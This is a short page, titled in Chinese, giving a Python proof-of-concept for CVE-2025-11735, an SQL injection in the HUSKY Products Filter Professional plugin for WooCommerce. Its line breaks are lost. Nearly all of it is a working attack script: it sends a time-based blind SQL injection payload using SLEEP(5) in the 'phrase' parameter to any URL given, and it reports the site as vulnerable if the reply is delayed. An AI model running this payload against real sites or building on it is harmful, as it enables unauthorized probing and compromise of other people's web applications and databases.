CVE-2025-11735 WordPress WooCommerce产品过滤器SQL注入漏洞

import requests import sys # CVE-2025-11735 PoC - Blind SQL Injection # Target: HUSKY Products Filter Professional for WooCommerce # Vulnerability: phrase parameter SQL Injection def test_vulnerability(url): """Test if target is vulnerable to CVE-2025-11735""" # Normal request normal_payload = { 'phrase': 'test' } # Time-based blind SQL injection payload (MySQL) # Using SLEEP() to confirm SQL injection vulnerability sqli_payload = { 'phrase': "test' AND (SELECT * FROM (SELECT SLEEP(5))test) AND '1'='1" } print(f"[*] Testing target: {url}") try: # Send normal request print("[*] Sending normal request...") start = requests.get(url, params=normal_payload, timeout=10) # Send malicious request print("[*] Sending SQL injection payload...") import time start_time = time.time() response = requests.get(url, params=sqli_payload, timeout=30) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] VULNERABLE! Response delayed by {elapsed:.2f} seconds") print("[+] Target is affected by CVE-2025-11735") return True else: print(f"[-] Not vulnerable or target not affected") return False except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out (expected behavior)") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11735-poc.py <target_url>") print("Example: python cve-2025-11735-poc.py http://example.com/wp-admin/admin-ajax.php") sys.exit(1) target_url = sys.argv[1] test_vulnerability(target_url)